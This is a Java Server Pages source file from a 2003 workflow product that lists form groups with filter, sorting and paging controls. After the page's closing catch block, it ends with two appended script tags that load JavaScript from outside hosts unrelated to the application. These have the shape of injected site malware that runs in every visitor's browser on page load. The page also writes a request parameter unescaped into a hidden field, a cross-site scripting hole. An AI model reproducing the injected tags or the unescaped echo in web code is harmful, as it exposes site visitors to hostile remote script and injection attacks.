<%
/*
 * @(#)ListFormGroupRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListFormGroupRecord.jsp

  This is a ListWorkflowRecord page.

    @author             Tony Chen
    @company            DCIVision Ltd
    @creation date      19/02/2003
    @version            $Revision: 1.9.26.13 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.web.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listFormGroupRecordForm" scope="request" class="com.dcivision.form.web.ListFormGroupRecordForm"/>
<%

  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "formGroupList";
  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"form.columnheader.group_name", "GROUP_NAME"},
                            {"form.columnheader.description", "DESCRIPTION"},
                            {"form.columnheader.last_record_update_date", GlobalConstant.NOT_AVAILABLE},
                            {"form.columnheader.last_record_updater", GlobalConstant.NOT_AVAILABLE}
                          };

  String[][] SEARCH_MAP = { {"form.columnheader.group_name", "GROUP_NAME"},
                            {"form.columnheader.description", "DESCRIPTION"}
                          };

  int     COLUMN_OFFSET = 1;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
try {
   List listFormRecord = (List) request.getAttribute(ListFormGroupRecordAction.VAR_FORM_RECORD_LIST);
   List listActiveRecord = (List) request.getAttribute(ListFormGroupRecordAction.VAR_ACTIVE_RECORD_LIST);

   String sCurFunctionCode = SystemFunctionConstant.FORM_SETUP;
   if(request.getAttribute("function").toString().startsWith("FORM_MONITOR")) {
     sCurFunctionCode = SystemFunctionConstant.FORM_MONITOR;
   }else if(request.getAttribute("function").toString().startsWith("FORM_REPORT")) {
     sCurFunctionCode = SystemFunctionConstant.FORM_REPORT;
   }

%>
<!-- Form Section Begin -->
<html:form action="form/ListFormSetup" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<input type="hidden" name="function" value='<%=request.getParameter("function")%>'>
<!-- Page Title Section Begin -->
<%--<layout:titleFormat><font class="pageTitle"><layout:pageTitle functionCode="<%=sCurFunctionCode%>" displayActionStr="false" /></font></layout:titleFormat>--%>
<!-- Page Title Section End -->

<layout:listBar>
    <div class="button">
      <layout:returnButton className="but-standard"/>
    </div>
<layout:filterControl/>
</layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
<div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
<div>
<table>
  <tr>
    <td class="filterPanelItem" nowrap >
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap >
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap >
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
</table>
</div>
<div class="buttonContainer">
   <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return OpList(listFormGroupRecordForm, '${listFormGroupRecordForm.sortAttribute}', '${listFormGroupRecordForm.sortOrder}')" />
   <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listFormGroupRecordForm))"/>
</div>
<br style="clear:both" />
</div>
<!-- Search Panel End -->


<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listFormGroupRecordForm" checkColumn='false' editLabel='' copyColumn='false' labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listFormGroupRecordForm.getSortAttribute()%>" sortOrder="<%=listFormGroupRecordForm.getSortOrder()%>"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="formGroup" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)formGroup).getID()%>);">
    <td align="center">
      <%if(request.getAttribute("function").toString().startsWith("FORM_MONITOR")) {%>
        <a href="ListFormMonitoring.do?formGroupID=<bean:write name='formGroup' property='ID'/>"><html:img src='IconGoGreen16.gif'  align='absmiddle'/></a>
      <%}else if(request.getAttribute("function").toString().startsWith("FORM_REPORT")) {%>
        <a href="ListFormReport.do?formGroupID=<bean:write name='formGroup' property='ID'/>"><html:img src='IconGoGreen16.gif'  align='absmiddle'/></a>
      <%}else {%>
        <a href="ListFormRecord.do?formGroupID=<bean:write name='formGroup' property='ID'/>"><html:img src='IconGoGreen16.gif'  align='absmiddle'/></a>
      <%}%>
    </td>
    <%
      int rowCount = ((Integer)pageContext.getAttribute("listLoopCnt")).intValue();
      if (listFormRecord !=null) {
        pageContext.setAttribute("lastUpdateFormRecord", (FormRecord)listFormRecord.get(rowCount) == null ? new FormRecord():(FormRecord)listFormRecord.get(rowCount));
        pageContext.setAttribute("activeRecordCount", (Integer)listActiveRecord.get(rowCount)==null? new Integer(0):(Integer)listActiveRecord.get(rowCount));
      }
    %>
    <td width="200">
      <%if(request.getAttribute("function").toString().startsWith("FORM_MONITOR")) {%>
        <a href="ListFormMonitoring.do?formGroupID=<bean:write name='formGroup' property='ID'/>&formGroupName=<bean:write name='formGroup' property='groupName'/>"><bean:write name='formGroup' property='groupName'/></a>
      <%}else if(request.getAttribute("function").toString().startsWith("FORM_REPORT")) {%>
        <a href="ListFormReport.do?formGroupID=<bean:write name='formGroup' property='ID'/>&formGroupName=<bean:write name='formGroup' property='groupName'/>"><bean:write name='formGroup' property='groupName'/></a>
      <%}else {%>
        <a href="ListFormRecord.do?formGroupID=<bean:write name='formGroup' property='ID'/>&formGroupName=<bean:write name='formGroup' property='groupName'/>"><bean:write name='formGroup' property='groupName'/></a>
      <%}%>
     (<bean:write name='activeRecordCount'/>)</td>
    <td width="250"><bean:write name='formGroup' property='description'/></td>
    <td class="bodyVerySmall" nowrap><bean:write name='lastUpdateFormRecord' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
    <td class="bodyVerySmall"><bean:write name='lastUpdateFormRecord' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listFormGroupRecordForm" name='<%=LIST_NAME%>'>
   <div class="statement"><layout:pagerInfo/></div>
   <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
<!-- Pager Information End -->
<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->
<%} catch (Exception e) { LogFactory.getLog(this.getClass()).error(e, e); } %>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>